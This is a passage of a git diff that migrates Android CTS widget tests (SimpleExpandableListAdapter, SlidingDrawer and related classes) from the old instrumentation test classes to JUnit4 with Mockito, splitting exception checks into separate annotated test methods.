         mChildCursor = createTestCursor(3, 4, "child");
@@ -107,8 +118,9 @@
         assertEquals("child12", view.getText().toString());
     }
 
-    // The param context and isExpanded is never readed.
+    // The param context and isExpanded is never read.
     @UiThreadTest
+    @Test
     public void testBindGroupView() {
         mGroupCursor = createTestCursor(2, 20, "group");
         mGroupCursor.moveToFirst();
@@ -126,6 +138,7 @@
     }
 
     @UiThreadTest
+    @Test
     public void testSetViewImage() {
         mGroupCursor = createTestCursor(2, 20, "group");
         mSimpleCursorTreeAdapter = new MockSimpleCursorTreeAdapter(mContext, mGroupCursor,
diff --git a/tests/tests/widget/src/android/widget/cts/SimpleExpandableListAdapterTest.java b/tests/tests/widget/src/android/widget/cts/SimpleExpandableListAdapterTest.java
index 674f427..eef0a49 100644
--- a/tests/tests/widget/src/android/widget/cts/SimpleExpandableListAdapterTest.java
+++ b/tests/tests/widget/src/android/widget/cts/SimpleExpandableListAdapterTest.java
@@ -16,41 +16,50 @@
 
 package android.widget.cts;
 
-import android.R;
-
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertSame;
+import static org.junit.Assert.assertTrue;
 
 import android.content.Context;
-import android.test.InstrumentationTestCase;
+import android.support.test.annotation.UiThreadTest;
+import android.support.test.InstrumentationRegistry;
+import android.support.test.filters.SmallTest;
+import android.support.test.runner.AndroidJUnit4;
 import android.view.LayoutInflater;
 import android.view.View;
-import android.view.ViewGroup;
 import android.widget.LinearLayout;
 import android.widget.SimpleExpandableListAdapter;
 import android.widget.TextView;
 import android.widget.TwoLineListItem;
 
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
 import java.util.ArrayList;
 import java.util.HashMap;
-import java.util.List;
 
 /**
  * Test {@link SimpleExpandableListAdapter}.
  */
-public class SimpleExpandableListAdapterTest extends InstrumentationTestCase {
-    private static final int EXPANDED_GROUP_LAYOUT = R.layout.simple_expandable_list_item_2;
+@SmallTest
+@RunWith(AndroidJUnit4.class)
+public class SimpleExpandableListAdapterTest {
+    private static final int EXPANDED_GROUP_LAYOUT = android.R.layout.simple_expandable_list_item_2;
 
-    private static final int LAST_CHILD_LAYOUT = R.layout.simple_list_item_2;
+    private static final int LAST_CHILD_LAYOUT = android.R.layout.simple_list_item_2;
 
-    private static final int CHILD_LAYOUT = R.layout.simple_list_item_1;
+    private static final int CHILD_LAYOUT = android.R.layout.simple_list_item_1;
 
-    private static final int GROUP_LAYOUT = R.layout.simple_expandable_list_item_1;
+    private static final int GROUP_LAYOUT = android.R.layout.simple_expandable_list_item_1;
 
     private static final int[] VIEWS_GROUP_TO = new int[] {
-        R.id.text1
+            android.R.id.text1
     };
 
     private static final int[] VIEWS_CHILD_TO = new int[] {
-        R.id.text1
+            android.R.id.text1
     };
 
     private static final String[] COLUMNS_GROUP_FROM = new String[] {
@@ -80,17 +89,16 @@
 
     private LinearLayout mAdapterHost;
 
-    @Override
-    protected void setUp() throws Exception {
-        super.setUp();
+    @Before
+    public void setup() {
+        mContext = InstrumentationRegistry.getTargetContext();
         mSimpleExpandableListAdapter = null;
         mGroupList = createTestList(1, 4, "group");
-        mChildList = new ArrayList<ArrayList<HashMap<String, String>>>();
+        mChildList = new ArrayList<>();
         for (int i = 0; i < 4; i++) {
             ArrayList<HashMap<String, String>> l = createTestList(1, i + 1, "child");
             mChildList.add(l);
         }
-        mContext = getInstrumentation().getTargetContext();
 
         mSimpleExpandableListAdapter = new SimpleExpandableListAdapter(mContext,
                 mGroupList, GROUP_LAYOUT, COLUMNS_GROUP_FROM, VIEWS_GROUP_TO,
@@ -98,9 +106,10 @@
 
         mAdapterHost = (LinearLayout) ((LayoutInflater) mContext
                 .getSystemService(Context.LAYOUT_INFLATER_SERVICE)).inflate(
-                android.widget.cts.R.layout.cursoradapter_host, null);
+                R.layout.cursoradapter_host, null);
     }
 
+    @Test
     public void testConstructor() {
         new SimpleExpandableListAdapter(mContext,
                 mGroupList, GROUP_LAYOUT, COLUMNS_GROUP_FROM, VIEWS_GROUP_TO,
@@ -118,40 +127,42 @@
                 COLUMNS_CHILD_FROM, VIEWS_CHILD_TO);
     }
 
+    @Test
     public void testGetChild() {
-        HashMap<String, String> expected = new HashMap<String, String>();
+        HashMap<String, String> expected = new HashMap<>();
         expected.put("column0", "child00");
         assertEquals(expected, mSimpleExpandableListAdapter.getChild(0, 0));
 
         expected = new HashMap<String, String>();
         expected.put("column0", "child30");
         assertEquals(expected, mSimpleExpandableListAdapter.getChild(3, 3));
-
-        try {
-            mSimpleExpandableListAdapter.getChild(-1, 0);
-            fail("Should throw exception if group position is negative");
-        } catch (IndexOutOfBoundsException e) {
-        }
-
-        try {
-            mSimpleExpandableListAdapter.getChild(0, -1);
-            fail("Should throw exception if child position is negative");
-        } catch (IndexOutOfBoundsException e) {
-        }
-
-        try {
-            mSimpleExpandableListAdapter.getChild(4, 0);
-            fail("Should throw exception if group position is beyond the group list'szie");
-        } catch (IndexOutOfBoundsException e) {
-        }
-
-        try {
-            mSimpleExpandableListAdapter.getChild(0, 1);
-            fail("Should throw exception if child position is beyond the child list'szie");
-        } catch (IndexOutOfBoundsException e) {
-        }
     }
 
+    @UiThreadTest
+    @Test(expected=IndexOutOfBoundsException.class)
+    public void testGetChildGroupPositionTooLow() {
+        mSimpleExpandableListAdapter.getChild(-1, 0);
+    }
+
+    @UiThreadTest
+    @Test(expected=IndexOutOfBoundsException.class)
+    public void testGetChildGroupPositionTooHigh() {
+        mSimpleExpandableListAdapter.getChild(4, 0);
+    }
+
+    @UiThreadTest
+    @Test(expected=IndexOutOfBoundsException.class)
+    public void testGetChildChildPositionTooLow() {
+        mSimpleExpandableListAdapter.getChild(0, -1);
+    }
+
+    @UiThreadTest
+    @Test(expected=IndexOutOfBoundsException.class)
+    public void testGetChildChildPositionTooHigh() {
+        mSimpleExpandableListAdapter.getChild(0, 1);
+    }
+
+    @Test
     public void testGetChildId() {
         assertEquals(0, mSimpleExpandableListAdapter.getChildId(0, 0));
         assertEquals(3, mSimpleExpandableListAdapter.getChildId(3, 3));
@@ -163,15 +174,17 @@
         assertEquals(4, mSimpleExpandableListAdapter.getChildId(0, 4));
     }
 
+    @UiThreadTest
+    @Test
     public void testGetChildView() {
         // the normal and last use same layout
         View result = mSimpleExpandableListAdapter.getChildView(0, 0, false, null, mAdapterHost);
         assertTrue(result instanceof TextView);
-        assertEquals("child00", ((TextView) result.findViewById(R.id.text1)).getText().toString());
+        assertEquals("child00", ((TextView) result).getText().toString());
 
         result = mSimpleExpandableListAdapter.getChildView(3, 3, true, null, mAdapterHost);
         assertTrue(result instanceof TextView);
-        assertEquals("child30", ((TextView) result.findViewById(R.id.text1)).getText().toString());
+        assertEquals("child30", ((TextView) result).getText().toString());
 
         // the normal and last use different layouts
         mSimpleExpandableListAdapter = new SimpleExpandableListAdapter(mContext,
@@ -182,60 +195,63 @@
 
         result = mSimpleExpandableListAdapter.getChildView(0, 0, false, null, mAdapterHost);
         assertTrue(result instanceof TextView);
-        assertEquals("child00", ((TextView) result.findViewById(R.id.text1)).getText().toString());
+        assertEquals("child00", ((TextView) result).getText().toString());
 
         result = mSimpleExpandableListAdapter.getChildView(3, 3, true, null, mAdapterHost);
         assertTrue(result instanceof TwoLineListItem);
-        assertEquals("child30", ((TextView) result.findViewById(R.id.text1)).getText().toString());
+        assertEquals("child30",
+                ((TextView) result.findViewById(android.R.id.text1)).getText().toString());
 
         // use convert view
         View convertView = new TextView(mContext);
-        convertView.setId(R.id.text1);
+        convertView.setId(android.R.id.text1);
         result = mSimpleExpandableListAdapter.getChildView(2, 2, false, convertView, mAdapterHost);
         assertSame(convertView, result);
         assertEquals("child20", ((TextView) result).getText().toString());
 
         // the parent can be null
         convertView = new TextView(mContext);
-        convertView.setId(R.id.text1);
+        convertView.setId(android.R.id.text1);
         result = mSimpleExpandableListAdapter.getChildView(1, 1, false, convertView, null);
         assertSame(convertView, result);
         assertEquals("child10", ((TextView) result).getText().toString());
-
-        try {
-            mSimpleExpandableListAdapter.getChildView(-1, 0, false, null, mAdapterHost);
-            fail("Should throw exception if group position is negative");
-        } catch (IndexOutOfBoundsException e) {
-        }
-
-        try {
-            mSimpleExpandableListAdapter.getChildView(0, -1, false, null, mAdapterHost);
-            fail("Should throw exception if child position is negative");
-        } catch (IndexOutOfBoundsException e) {
-        }
-
-        try {
-            mSimpleExpandableListAdapter.getChildView(4, 0, false, null, mAdapterHost);
-            fail("Should throw exception if group position is beyond the group list'szie");
-        } catch (IndexOutOfBoundsException e) {
-        }
-
-        try {
-            mSimpleExpandableListAdapter.getChildView(0, 1, false, null, mAdapterHost);
-            fail("Should throw exception if child position is beyond the child list'szie");
-        } catch (IndexOutOfBoundsException e) {
-        }
     }
 
+    @UiThreadTest
+    @Test(expected=IndexOutOfBoundsException.class)
+    public void testGetChildViewGroupPositionTooLow() {
+        mSimpleExpandableListAdapter.getChildView(-1, 0, false, null, mAdapterHost);
+    }
+
+    @UiThreadTest
+    @Test(expected=IndexOutOfBoundsException.class)
+    public void testGetChildViewGroupPositionTooHigh() {
+        mSimpleExpandableListAdapter.getChildView(4, 0, false, null, mAdapterHost);
+    }
+
+    @UiThreadTest
+    @Test(expected=IndexOutOfBoundsException.class)
+    public void testGetChildViewChildPositionTooLow() {
+        mSimpleExpandableListAdapter.getChildView(0, -1, false, null, mAdapterHost);
+    }
+
+    @UiThreadTest
+    @Test(expected=IndexOutOfBoundsException.class)
+    public void testGetChildViewChildPositionTooHigh() {
+        mSimpleExpandableListAdapter.getChildView(0, 1, false, null, mAdapterHost);
+    }
+
+    @UiThreadTest
+    @Test
     public void testNewChildView() {
         // the normal and last use same layout
         View result = mSimpleExpandableListAdapter.newChildView(false, mAdapterHost);
         assertTrue(result instanceof TextView);
-        assertNotNull(result.findViewById(R.id.text1));
+        assertNotNull(result.findViewById(android.R.id.text1));
 
         result = mSimpleExpandableListAdapter.newChildView(true, mAdapterHost);
         assertTrue(result instanceof TextView);
-        assertNotNull(result.findViewById(R.id.text1));
+        assertNotNull(result.findViewById(android.R.id.text1));
 
         // the normal and last use different layouts
         mSimpleExpandableListAdapter = new SimpleExpandableListAdapter(mContext,
@@ -246,54 +262,53 @@
 
         result = mSimpleExpandableListAdapter.newChildView(false, mAdapterHost);
         assertTrue(result instanceof TextView);
-        assertNotNull(result.findViewById(R.id.text1));
+        assertNotNull(result.findViewById(android.R.id.text1));
 
         result = mSimpleExpandableListAdapter.newChildView(true, mAdapterHost);
         assertTrue(result instanceof TwoLineListItem);
-        assertNotNull(result.findViewById(R.id.text1));
+        assertNotNull(result.findViewById(android.R.id.text1));
     }
 
+    @Test
     public void testGetChildrenCount() {
         assertEquals(1, mSimpleExpandableListAdapter.getChildrenCount(0));
         assertEquals(2, mSimpleExpandableListAdapter.getChildrenCount(1));
         assertEquals(3, mSimpleExpandableListAdapter.getChildrenCount(2));
         assertEquals(4, mSimpleExpandableListAdapter.getChildrenCount(3));
-
-        try {
-            mSimpleExpandableListAdapter.getChildrenCount(-1);
-            fail("Should throw exception if group position is negative");
-        } catch (IndexOutOfBoundsException e) {
-        }
-
-        try {
-            mSimpleExpandableListAdapter.getChildrenCount(4);
-            fail("Should throw exception if group position is beyond the group list'szie");
-        } catch (IndexOutOfBoundsException e) {
-        }
     }
 
+    @Test(expected=IndexOutOfBoundsException.class)
+    public void testGetChildrenCountGroupPositionTooLow() {
+        mSimpleExpandableListAdapter.getChildrenCount(-1);
+    }
+
+    @Test(expected=IndexOutOfBoundsException.class)
+    public void testGetChildrenCountGroupPositionTooHigh() {
+        mSimpleExpandableListAdapter.getChildrenCount(4);
+    }
+
+    @Test
     public void testGetGroup() {
-        HashMap<String, String> expected = new HashMap<String, String>();
+        HashMap<String, String> expected = new HashMap<>();
         expected.put("column0", "group00");
         assertEquals(expected, mSimpleExpandableListAdapter.getGroup(0));
 
-        expected = new HashMap<String, String>();
+        expected = new HashMap<>();
         expected.put("column0", "group30");
         assertEquals(expected, mSimpleExpandableListAdapter.getGroup(3));
-
-        try {
-            mSimpleExpandableListAdapter.getGroup(-1);
-            fail("Should throw exception if group position is negative");
-        } catch (IndexOutOfBoundsException e) {
-        }
-
-        try {
-            mSimpleExpandableListAdapter.getGroup(4);
-            fail("Should throw exception if group position is beyond the group list'szie");
-        } catch (IndexOutOfBoundsException e) {
-        }
     }
 
+    @Test(expected=IndexOutOfBoundsException.class)
+    public void testGetGroupGroupPositionTooLow() {
+        mSimpleExpandableListAdapter.getGroup(-1);
+    }
+
+    @Test(expected=IndexOutOfBoundsException.class)
+    public void testGetGroupGroupPositionTooHigh() {
+        mSimpleExpandableListAdapter.getGroup(4);
+    }
+
+    @Test
     public void testGetGroupCount() {
         assertEquals(4, mSimpleExpandableListAdapter.getGroupCount());
 
@@ -303,6 +318,7 @@
         assertEquals(9, mSimpleExpandableListAdapter.getGroupCount());
     }
 
+    @Test
     public void testGetGroupId() {
         assertEquals(0, mSimpleExpandableListAdapter.getGroupId(0));
         assertEquals(3, mSimpleExpandableListAdapter.getGroupId(3));
@@ -312,15 +328,17 @@
         assertEquals(4, mSimpleExpandableListAdapter.getGroupId(4));
     }
 
+    @UiThreadTest
+    @Test
     public void testGetGroupView() {
         // the collapsed and expanded use same layout
         View result = mSimpleExpandableListAdapter.getGroupView(0, false, null, mAdapterHost);
         assertTrue(result instanceof TextView);
-        assertEquals("group00", ((TextView) result.findViewById(R.id.text1)).getText().toString());
+        assertEquals("group00", ((TextView) result).getText().toString());
 
         result = mSimpleExpandableListAdapter.getGroupView(3, true, null, mAdapterHost);
         assertTrue(result instanceof TextView);
-        assertEquals("group30", ((TextView) result.findViewById(R.id.text1)).getText().toString());
+        assertEquals("group30", ((TextView) result).getText().toString());
 
         // the collapsed and expanded use different layouts
         mSimpleExpandableListAdapter = new SimpleExpandableListAdapter(mContext,
@@ -331,48 +349,51 @@
 
         result = mSimpleExpandableListAdapter.getGroupView(0, true, null, mAdapterHost);
         assertTrue(result instanceof TextView);
-        assertEquals("group00", ((TextView) result.findViewById(R.id.text1)).getText().toString());
+        assertEquals("group00", ((TextView) result).getText().toString());
 
         result = mSimpleExpandableListAdapter.getGroupView(3, false, null, mAdapterHost);
         assertTrue(result instanceof TwoLineListItem);
-        assertEquals("group30", ((TextView) result.findViewById(R.id.text1)).getText().toString());
+        assertEquals("group30",
+                ((TextView) result.findViewById(android.R.id.text1)).getText().toString());
 
         // use convert view
         View convertView = new TextView(mContext);
-        convertView.setId(R.id.text1);
+        convertView.setId(android.R.id.text1);
         result = mSimpleExpandableListAdapter.getGroupView(2, false, convertView, mAdapterHost);
         assertSame(convertView, result);
         assertEquals("group20", ((TextView) result).getText().toString());
 
         // the parent can be null
         convertView = new TextView(mContext);
-        convertView.setId(R.id.text1);
+        convertView.setId(android.R.id.text1);
         result = mSimpleExpandableListAdapter.getGroupView(1, false, convertView, null);
         assertSame(convertView, result);
         assertEquals("group10", ((TextView) result).getText().toString());
-
-        try {
-            mSimpleExpandableListAdapter.getGroupView(-1, false, null, mAdapterHost);
-            fail("Should throw exception if group position is negative");
-        } catch (IndexOutOfBoundsException e) {
-        }
-
-        try {
-            mSimpleExpandableListAdapter.getGroupView(4, false, null, mAdapterHost);
-            fail("Should throw exception if group position is beyond the group list'szie");
-        } catch (IndexOutOfBoundsException e) {
-        }
     }
 
+    @UiThreadTest
+    @Test(expected=IndexOutOfBoundsException.class)
+    public void testGetGroupViewGroupPositionTooLow() {
+        mSimpleExpandableListAdapter.getGroupView(-1, false, null, mAdapterHost);
+    }
+
+    @UiThreadTest
+    @Test(expected=IndexOutOfBoundsException.class)
+    public void testGetGroupViewGroupPositionTooHigh() {
+        mSimpleExpandableListAdapter.getGroupView(4, false, null, mAdapterHost);
+    }
+
+    @UiThreadTest
+    @Test
     public void testNewGroupView() {
         // the collapsed and expanded use same layout
         View result = mSimpleExpandableListAdapter.newGroupView(false, mAdapterHost);
         assertTrue(result instanceof TextView);
-        assertNotNull(result.findViewById(R.id.text1));
+        assertNotNull(result.findViewById(android.R.id.text1));
 
         result = mSimpleExpandableListAdapter.newGroupView(true, mAdapterHost);
         assertTrue(result instanceof TextView);
-        assertNotNull(result.findViewById(R.id.text1));
+        assertNotNull(result.findViewById(android.R.id.text1));
 
         // the collapsed and expanded use different layouts
         mSimpleExpandableListAdapter = new SimpleExpandableListAdapter(mContext,
@@ -383,13 +404,14 @@
 
         result = mSimpleExpandableListAdapter.newGroupView(true, mAdapterHost);
         assertTrue(result instanceof TextView);
-        assertNotNull(result.findViewById(R.id.text1));
+        assertNotNull(result.findViewById(android.R.id.text1));
 
         result = mSimpleExpandableListAdapter.newGroupView(false, mAdapterHost);
         assertTrue(result instanceof TwoLineListItem);
-        assertNotNull(result.findViewById(R.id.text1));
+        assertNotNull(result.findViewById(android.R.id.text1));
     }
 
+    @Test
     public void testIsChildSelectable() {
         assertTrue(mSimpleExpandableListAdapter.isChildSelectable(0, 0));
         assertTrue(mSimpleExpandableListAdapter.isChildSelectable(3, 3));
@@ -401,6 +423,7 @@
         assertTrue(mSimpleExpandableListAdapter.isChildSelectable(0, 1));
     }
 
+    @Test
     public void testHasStableIds() {
         assertTrue(mSimpleExpandableListAdapter.hasStableIds());
     }
@@ -415,14 +438,14 @@
      */
     private ArrayList<HashMap<String, String>> createTestList(int colCount, int rowCount,
             String prefix) {
-        ArrayList<HashMap<String, String>> list = new ArrayList<HashMap<String, String>>();
+        ArrayList<HashMap<String, String>> list = new ArrayList<>();
         String[] columns = new String[colCount];
         for (int i = 0; i < colCount; i++) {
             columns[i] = "column" + i;
         }
 
         for (int i = 0; i < rowCount; i++) {
-            HashMap<String, String> row = new HashMap<String, String>();
+            HashMap<String, String> row = new HashMap<>();
             for (int j = 0; j < colCount; j++) {
                 row.put(columns[j], prefix + i + "" + j);
             }
diff --git a/tests/tests/widget/src/android/widget/cts/SlidingDrawerCtsActivity.java b/tests/tests/widget/src/android/widget/cts/SlidingDrawerCtsActivity.java
index d1362c1..338c577 100644
--- a/tests/tests/widget/src/android/widget/cts/SlidingDrawerCtsActivity.java
+++ b/tests/tests/widget/src/android/widget/cts/SlidingDrawerCtsActivity.java
@@ -16,10 +16,9 @@
 
 package android.widget.cts;
 
-import android.widget.cts.R;
-
 import android.app.Activity;
 import android.os.Bundle;
+import android.widget.cts.R;
 
 public class SlidingDrawerCtsActivity extends Activity {
     @Override
diff --git a/tests/tests/widget/src/android/widget/cts/SlidingDrawerTest.java b/tests/tests/widget/src/android/widget/cts/SlidingDrawerTest.java
index 2af1b06..1993244 100644
--- a/tests/tests/widget/src/android/widget/cts/SlidingDrawerTest.java
+++ b/tests/tests/widget/src/android/widget/cts/SlidingDrawerTest.java
@@ -16,52 +16,70 @@
 
 package android.widget.cts;
 
-import android.widget.cts.R;
+import static com.android.compatibility.common.util.CtsMockitoUtils.within;
 
-
-import org.xmlpull.v1.XmlPullParser;
-import org.xmlpull.v1.XmlPullParserException;
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assert.fail;
+import static org.mockito.Mockito.inOrder;
+import static org.mockito.Mockito.mock;
+import static org.mockito.Mockito.times;
+import static org.mockito.Mockito.verify;
+import static org.mockito.Mockito.verifyNoMoreInteractions;
+import static org.mockito.Mockito.verifyZeroInteractions;
 
 import android.app.Activity;
-import android.content.Context;
-import android.cts.util.PollingCheck;
-import android.test.ActivityInstrumentationTestCase2;
-import android.test.UiThreadTest;
+import android.app.Instrumentation;
+import android.support.test.InstrumentationRegistry;
+import android.support.test.annotation.UiThreadTest;
+import android.support.test.filters.MediumTest;
+import android.support.test.rule.ActivityTestRule;
+import android.support.test.runner.AndroidJUnit4;
 import android.util.AttributeSet;
 import android.util.Xml;
-import android.view.MotionEvent;
 import android.view.View;
 import android.widget.ImageView;
 import android.widget.SlidingDrawer;
 import android.widget.TextView;
-import android.widget.SlidingDrawer.OnDrawerCloseListener;
-import android.widget.SlidingDrawer.OnDrawerOpenListener;
-import android.widget.SlidingDrawer.OnDrawerScrollListener;
+
+import com.android.compatibility.common.util.PollingCheck;
+
+import org.junit.Before;
+import org.junit.Rule;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import org.mockito.InOrder;
+import org.xmlpull.v1.XmlPullParser;
+import org.xmlpull.v1.XmlPullParserException;
 
 import java.io.IOException;
 
 /**
  * Test {@link SlidingDrawer}.
  */
-public class SlidingDrawerTest
-        extends ActivityInstrumentationTestCase2<SlidingDrawerCtsActivity> {
-
+@MediumTest
+@RunWith(AndroidJUnit4.class)
+public class SlidingDrawerTest {
     private static final long TEST_TIMEOUT = 5000L;
+
+    private Instrumentation mInstrumentation;
     private Activity mActivity;
-    private Object mLock;
+    private SlidingDrawer mDrawer;
 
-    public SlidingDrawerTest() {
-        super("android.widget.cts", SlidingDrawerCtsActivity.class);
-    }
+    @Rule
+    public ActivityTestRule<SlidingDrawerCtsActivity> mActivityRule =
+            new ActivityTestRule<>(SlidingDrawerCtsActivity.class);
 
-    @Override
-    protected void setUp() throws Exception {
-        super.setUp();
-        mActivity = getActivity();
-        mLock = new Object();
+    @Before
+    public void setup() {
+        mInstrumentation = InstrumentationRegistry.getInstrumentation();
+        mActivity = mActivityRule.getActivity();
+        mDrawer = (SlidingDrawer) mActivity.findViewById(R.id.drawer);
     }
 
     @UiThreadTest
+    @Test
     public void testConstructor() throws XmlPullParserException, IOException {
         XmlPullParser parser = mActivity.getResources().getLayout(R.layout.sliding_drawer_layout);
         AttributeSet attrs = Xml.asAttributeSet(parser);
@@ -81,304 +99,173 @@
         }
     }
 
+    @Test
     public void testGetHandle() {
-        SlidingDrawer drawer = (SlidingDrawer) mActivity.findViewById(R.id.drawer);
-        View handle = drawer.getHandle();
+        View handle = mDrawer.getHandle();
         assertTrue(handle instanceof ImageView);
         assertEquals(R.id.handle, handle.getId());
     }
 
+    @Test
     public void testGetContent() {
-        SlidingDrawer drawer = (SlidingDrawer) mActivity.findViewById(R.id.drawer);
-        View content = drawer.getContent();
+        View content = mDrawer.getContent();
         assertTrue(content instanceof TextView);
         assertEquals(R.id.content, content.getId());
     }
 
     @UiThreadTest
+    @Test
     public void testOpenAndClose() {
-        SlidingDrawer drawer = (SlidingDrawer) mActivity.findViewById(R.id.drawer);
-        View content = drawer.getContent();
-        assertFalse(drawer.isOpened());
+        View content = mDrawer.getContent();
+        assertFalse(mDrawer.isOpened());
         assertEquals(View.GONE, content.getVisibility());
 
-        drawer.open();
-        assertTrue(drawer.isOpened());
+        mDrawer.open();
+        assertTrue(mDrawer.isOpened());
         assertEquals(View.VISIBLE, content.getVisibility());
 
-        drawer.close();
-        assertFalse(drawer.isOpened());
+        mDrawer.close();
+        assertFalse(mDrawer.isOpened());
         assertEquals(View.GONE, content.getVisibility());
     }
 
+    @Test
     public void testAnimateOpenAndClose() throws Throwable {
-        final SlidingDrawer drawer = (SlidingDrawer) mActivity.findViewById(R.id.drawer);
-        View content = drawer.getContent();
-        assertFalse(drawer.isMoving());
-        assertFalse(drawer.isOpened());
+        View content = mDrawer.getContent();
+        assertFalse(mDrawer.isMoving());
+        assertFalse(mDrawer.isOpened());
         assertEquals(View.GONE, content.getVisibility());
 
-        runTestOnUiThread(new Runnable() {
-            public void run() {
-                drawer.animateOpen();
-            }
-        });
-        assertTrue(drawer.isMoving());
-        assertOpened(false, drawer);
+        mActivityRule.runOnUiThread(mDrawer::animateOpen);
+        assertTrue(mDrawer.isMoving());
         assertEquals(View.GONE, content.getVisibility());
 
-        new PollingCheck() {
-            @Override
-            protected boolean check() {
-                return !drawer.isMoving();
-            }
-        }.run();
-        assertOpened(true, drawer);
+        PollingCheck.waitFor(() -> !mDrawer.isMoving());
+        PollingCheck.waitFor(mDrawer::isOpened);
         assertEquals(View.VISIBLE, content.getVisibility());
 
-        runTestOnUiThread(new Runnable() {
-            public void run() {
-                drawer.animateClose();
-            }
-        });
-        assertTrue(drawer.isMoving());
-        assertOpened(true, drawer);
+        mActivityRule.runOnUiThread(mDrawer::animateClose);
+        assertTrue(mDrawer.isMoving());
         assertEquals(View.GONE, content.getVisibility());
 
-        new PollingCheck() {
-            @Override
-            protected boolean check() {
-                return !drawer.isMoving();
-            }
-        }.run();
-        assertOpened(false, drawer);
+        PollingCheck.waitFor(() -> !mDrawer.isMoving());
+        PollingCheck.waitFor(() -> !mDrawer.isOpened());
         assertEquals(View.GONE, content.getVisibility());
     }
 
+    @Test
     public void testAnimateToggle() throws Throwable {
-        final SlidingDrawer drawer = (SlidingDrawer) mActivity.findViewById(R.id.drawer);
-        View content = drawer.getContent();
-        assertFalse(drawer.isMoving());
-        assertFalse(drawer.isOpened());
+        View content = mDrawer.getContent();
+        assertFalse(mDrawer.isMoving());
+        assertFalse(mDrawer.isOpened());
         assertEquals(View.GONE, content.getVisibility());
 
-        runTestOnUiThread(new Runnable() {
-            public void run() {
-                drawer.animateToggle();
-            }
-        });
-        assertTrue(drawer.isMoving());
-        assertOpened(false, drawer);
+        mActivityRule.runOnUiThread(mDrawer::animateToggle);
+        assertTrue(mDrawer.isMoving());
         assertEquals(View.GONE, content.getVisibility());
 
-        new PollingCheck() {
-            @Override
-            protected boolean check() {
-                return !drawer.isMoving();
-            }
-        }.run();
-        assertOpened(true, drawer);
+        PollingCheck.waitFor(() -> !mDrawer.isMoving());
+        PollingCheck.waitFor(mDrawer::isOpened);
         assertEquals(View.VISIBLE, content.getVisibility());
 
-        runTestOnUiThread(new Runnable() {
-            public void run() {
-                drawer.animateToggle();
-            }
-        });
-        assertTrue(drawer.isMoving());
-        assertOpened(true, drawer);
+        mActivityRule.runOnUiThread(mDrawer::animateToggle);
+        assertTrue(mDrawer.isMoving());
         assertEquals(View.GONE, content.getVisibility());
 
-        new PollingCheck() {
-            @Override
-            protected boolean check() {
-                return !drawer.isMoving();
-            }
-        }.run();
-        assertOpened(false, drawer);
+        PollingCheck.waitFor(() -> !mDrawer.isMoving());
+        PollingCheck.waitFor(() -> !mDrawer.isOpened());
         assertEquals(View.GONE, content.getVisibility());
     }
 
-    private void assertOpened(final boolean opened, final SlidingDrawer drawer) {
-        new PollingCheck() {
-            @Override
-            protected boolean check() {
-                return drawer.isOpened() == opened;
-            }
-        }.run();
-    }
-
     @UiThreadTest
+    @Test
     public void testToggle() {
-        SlidingDrawer drawer = (SlidingDrawer) mActivity.findViewById(R.id.drawer);
-        View content = drawer.getContent();
-        assertFalse(drawer.isOpened());
+        View content = mDrawer.getContent();
+        assertFalse(mDrawer.isOpened());
         assertEquals(View.GONE, content.getVisibility());
 
-        drawer.toggle();
-        assertTrue(drawer.isOpened());
+        mDrawer.toggle();
+        assertTrue(mDrawer.isOpened());
         assertEquals(View.VISIBLE, content.getVisibility());
 
-        drawer.toggle();
-        assertFalse(drawer.isOpened());
+        mDrawer.toggle();
+        assertFalse(mDrawer.isOpened());
         assertEquals(View.GONE, content.getVisibility());
     }
 
     @UiThreadTest
+    @Test
     public void testLockAndUnlock() {
-        SlidingDrawer drawer = (SlidingDrawer) mActivity.findViewById(R.id.drawer);
-        View handle = drawer.getHandle();
-        View content = drawer.getContent();
-        assertFalse(drawer.isOpened());
+        View handle = mDrawer.getHandle();
+        View content = mDrawer.getContent();
+        assertFalse(mDrawer.isOpened());
         assertEquals(View.GONE, content.getVisibility());
 
         handle.performClick();
-        assertTrue(drawer.isOpened());
+        assertTrue(mDrawer.isOpened());
         assertEquals(View.VISIBLE, content.getVisibility());
 
         handle.performClick();
-        assertFalse(drawer.isOpened());
+        assertFalse(mDrawer.isOpened());
         assertEquals(View.GONE, content.getVisibility());
 
-        drawer.lock();
+        mDrawer.lock();
         handle.performClick();
-        assertFalse(drawer.isOpened());
+        assertFalse(mDrawer.isOpened());
         assertEquals(View.GONE, content.getVisibility());
 
-        drawer.unlock();
+        mDrawer.unlock();
         handle.performClick();
-        assertTrue(drawer.isOpened());
+        assertTrue(mDrawer.isOpened());
         assertEquals(View.VISIBLE, content.getVisibility());
     }
 
     @UiThreadTest
+    @Test
     public void testSetOnDrawerOpenListener() {
-        SlidingDrawer drawer = (SlidingDrawer) mActivity.findViewById(R.id.drawer);
-        MockOnDrawerOpenListener listener = new MockOnDrawerOpenListener();
-        drawer.setOnDrawerOpenListener(listener);
+        SlidingDrawer.OnDrawerOpenListener mockOpenListener =
+                mock(SlidingDrawer.OnDrawerOpenListener.class);
+        mDrawer.setOnDrawerOpenListener(mockOpenListener);
 
-        assertFalse(listener.hadOpenedDrawer());
+        verifyZeroInteractions(mockOpenListener);
 
-        drawer.open();
-        assertTrue(listener.hadOpenedDrawer());
+        mDrawer.open();
+        verify(mockOpenListener, times(1)).onDrawerOpened();
     }
 
     @UiThreadTest
+    @Test
     public void testSetOnDrawerCloseListener() {
-        SlidingDrawer drawer = (SlidingDrawer) mActivity.findViewById(R.id.drawer);
-        MockOnDrawerCloseListener listener = new MockOnDrawerCloseListener();
-        drawer.setOnDrawerCloseListener(listener);
+        SlidingDrawer.OnDrawerCloseListener mockCloseListener =
+                mock(SlidingDrawer.OnDrawerCloseListener.class);
+        mDrawer.setOnDrawerCloseListener(mockCloseListener);
 
-        assertFalse(listener.hadClosedDrawer());
+        verifyZeroInteractions(mockCloseListener);
 
-        drawer.open();
-        assertFalse(listener.hadClosedDrawer());
+        mDrawer.open();
+        verifyZeroInteractions(mockCloseListener);
 
-        drawer.close();
-        assertTrue(listener.hadClosedDrawer());
+        mDrawer.close();
+        verify(mockCloseListener, times(1)).onDrawerClosed();
     }
 
-    public void testSetOnDrawerScrollListener() throws Throwable {
+    @UiThreadTest
+    @Test
+    public void testSetOnDrawerScrollListener() {
